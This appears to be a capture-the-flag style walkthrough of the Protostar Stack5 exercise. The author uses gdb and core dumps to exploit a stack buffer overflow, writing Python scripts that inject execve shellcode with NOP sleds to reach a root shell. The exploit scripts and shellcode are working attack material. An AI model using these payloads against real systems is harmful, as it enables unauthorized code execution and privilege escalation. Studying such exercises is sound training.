Protostar 0x05 - Stack5
Prev: 0x04 - Stack4
Next: 0x06 - Stack6
This level is very similar to the previous level, except this time we'll want to redirect program flow to shellcode that we provide, as opposed to a preexisting function within the source code.
Prev: 0x04 Stack4
Next: 0x06 Stack6
Next: 0x06 - Stack6
This level is very similar to the previous level, except this time we'll want to redirect program flow to shellcode that we provide, as opposed to a preexisting function within the source code.
If we debug the program with gdb, break at main's return instruction, and check the registers, we can confirm that the stack addresses of both our buffer (found in eax) and the return address (found in esp) are the same as before.
$ gdb stack5
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /tmp/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /tmp/stack5
AAAAAAAA
Breakpoint 1, 0x080483da in main (argc=134513604, argv=0x1) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) info reg
eax 0xbffffc90 -1073742704
ecx 0xbffffc90 -1073742704
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcdc 0xbffffcdc
...
Again, 0xbffffcdc minus 0xbffffc90 is 0x4c, or 76 bytes of space. If we want to provide our own instructions for the program to execute we might first think that this would be the place to do it, so let's try to overwrite the return address with the address of our buffer (0xbffffc90).
Most importantly, we'll need some shellcode. There's no reason to reinvent the wheel on this - we could craft our own shellcode if we wanted the challenge, but given that it would be a hefty detour for a level like this I will opt to quickly find some premade Linux x86 shellcode on Shell-Storm. This one by Hamza Megahed should do this trick. These are the instructions:
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
In essence, this shellcode cleverly calls "execve("/bin//sh", 0, 0)" which spawns a shell for us. Let's build our Python script to try it out:
import struct
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
buffer = "A" * (76 - len(shellcode))
ret = struct.pack("<I", 0xbffffc90)
payload = shellcode + buffer + ret
print payload
We can direct this output into a test payload file and inspect the hex dump to confirm it looks correct:
$ python stack5.py > payload
$ xxd payload
0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P
0000010: 5389 e1b0 0bcd 8041 4141 4141 4141 4141 S......AAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 90fc ffbf AAAAAAAAAAAA....
0000050: 0a
Starting from the top, we see 23 bytes of our shellcode ending at address 0x16, followed by 53 bytes of As, and then the stack address of our payload to overwrite the saved return address. You'll notice that Python also adds a newline character - "0a" - but we won't worry about that for now as it won't affect us here.
Let's send this file into the "stack5" program and test it:
$ cat payload | ./stack5
Segmentation fault
Well, it didn't work, and we don't know why. What if we debug with gdb?
$ gdb stack5
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /tmp/stack5...done.
(gdb) r < payload
Starting program: /tmp/stack5 < payload
Executing new program: /bin/dash
Program exited normally.
So, in gdb our shellcode works as designed. This must mean that there is a discrepancy between the stack layout when running the program normally versus running in gdb. This wasn't a problem in prior levels as we overwrote eip with code section addresses, but now that we're targeting the stack, we'll need to investigate a bit more to ensure we redirect eip to the proper address. Let's enable core dumps so we can dig into an exact image of the memory.
$ ulimit -c unlimited
$ cat payload | ./stack5
Segmentation fault (core dumped)
$ ls
core.11.stack5.2719 payload stack5 stack5.py
Now, we notice an extra "(core dumped)" notice when hitting the segfault, and if we list the directory contents with "ls" we can see an additional core file we created for us. We can run gdb using this core file an inspect the memory addresses (your core file's name will look different).
$ gdb stack5 core.11.stack5.2719
GNU gdb (GDB) 7.0.1-debian
...
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffc98 in ?? ()
The last line indicates a problem reading instructions, and calling either "info reg" or "x $eip" confirms that the eip register is pointing at address 0xbffffc98, which is a bogus instruction. It appears that it returned to 0xbffffc90 as planned, executed 8 bytes of instructions, but got snagged on 0xbffffc98. Let's inspect this address.
(gdb) x/30x $eip
0xbffffc98: 0xb7e966c0 0xb7fd7ff4 0x00000000 0x00000000
0xbffffca8: 0xbffffd08 0x080483d9 0xbffffcc0 0xb7ec6165
0xbffffcb8: 0xbffffcc8 0xb7eada75 0x6850c031 0x68732f2f
0xbffffcc8: 0x69622f68 0x50e3896e 0xb0e18953 0x4180cd0b
0xbffffcd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffce8: 0x41414141 0x41414141 0x41411441 0x41414141
0xbffffcf8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd08: 0x41414141 0xbffffc90
Just ahead of us, we can see "0x6850c031," the first instructions of our shellcode in little-endian. This confirms our suspicion: we overshot our target.
Let's think - we have a 76-byte buffer and 23 bytes of shellcode. Let's add some padding before our shellcode, roughly 32 bytes, and then overwrite the return address with an address that's in the middle of this buffer. This should increase our chances of getting a hit!
For our buffer, let's use "\x90," the "NOP" or "no operation" instruction, instead of As which might translate to undesirable x86 instructions. Then, for the return address, let's add 16 bytes to the start of our buffer according to the core file. 0xbffffcc0 plus 0x10 is 0xbffffcd0.
import struct
nops = "\x90" * 48
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
buffer = "A" * (76 - (len(shellcode) + len(nops)))
ret = struct.pack("<I", 0xbffffd0)
payload = nops + shellcode + buffer + ret
print payload
Let's send this output to a file called "payload" once more and inspect the hex dump:
$ python stack5.py > payload
$ xxd payload
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P
0000030: 5389 e1b0 0bcd 8041 4141 4141 4141 4141 S......AAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 d0fc ffbf AAAAAAAAAAAA....
0000050: 0a
Everything checks out - the first two lines of the hex dump (32 bytes) are "0x90," and the overall output comes in at 77 bytes (76 plus 1 for the newline character that Python adds). If we pipe the output into stack5 using "python stack5.py | ./stack5" we see... nothing. Nothing happens.
The issue is that the shell, once executed, is expecting input but receives none, so it closes. The way to get around this is by combining the python output with the "cat" command. If we provide "cat" with no parameters, the system will await additional input via stdin and redirect it to stdout, thus allowing us to interact with the shell!
Let's try this method, then call "ls" to confirm "cat" is working as expected, before finally entering "whoami" to confirm we've switched to "root."
$ (python stack5.py; cat) | ./stack5
ls
payload stack5 stack5.py
whoami
user
So, not quite. The "cat" command works as expected and we were able to call "ls," but our privileges did not change. As it turns out, we cannot properly execute the shell from our copy of "stack5" in the "tmp" folder, and we will instead need to call the "stack5" program from its original directory. However, because that file is in a different directory ("/opt/protostar/bin" vs. "/tmp"), its stack will be different. This is a result of the stack pushing the directory of the executable as an environment variable. Because the directory "/opt/protostar/bin" creates a longer string, the remainder of the stack is pushed further up, resulting in a majority of the stack addresses having smaller values than if the working directory were "/tmp."
To compensate, we can do two things: first, we could change our current working directly from "/tmp" to "/opt/protostar/bin" and then call the "/tmp" version of "stack5." This would work because the current working directory is another environment variable that affects the stack, so by changing our CWD we would offset the difference created by moving the "stack5" executable to "/tmp."
Alternatively, we could remain in "/tmp" and adjust the eip further back until we get execution. Let's open stack5.py and subtract 0x20 from our ret variable, and then pipe it into the "stack5" function in its original directory. If it works, we'll use "ls" to confirm we can execute commands, and then "whoami" to see if our privileges changed.
ret = struct.pack("<I", 0xbffffcd0-0x20)
...
$ (python stack5.py; cat) | /opt/protostar/bin/stack5
ls
payload stack5 stack5.py
whoami
root
Awesome! It worked.
Although we lucked out with our initial "subtract 0x20" guess, this method still requires some precision to land somewhere within our 48-bytes of "NOP." A simpler way to still gain code execution would be to ignore the buffer altogether, and instead return to a stack address after the buffer. This way, we can create a massive "NOP slide" that only requires us to be roughly aware of the stack layout when the program executes. Let's give it a shot - here's the new Python script:
import struct
buffer = "A" * 76
ret = struct.pack("<I", 0xbffffcbc + 0x60)
nops = "\x90" * 160
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = buffer + ret + nops + shellcode
print payload
160 bytes of "NOP" is a lot of wiggle room now. As for our return address, we'll use the address of the prior NOP slide within the buffer (0xbffffcdc - 0x20) plus 0x60, to be safe. If we test this, we find that it works just as well:
$ (python stack5_2.py; cat) | /opt/protostar/bin/stack5
ls
payload stack5 stack5.py stack5_2.py
whoami
root
Great! We've solved with two different methods: return into the buffer, and return into a massive sled that starts immediately after the saved return address.
Next: 0x06 Stack6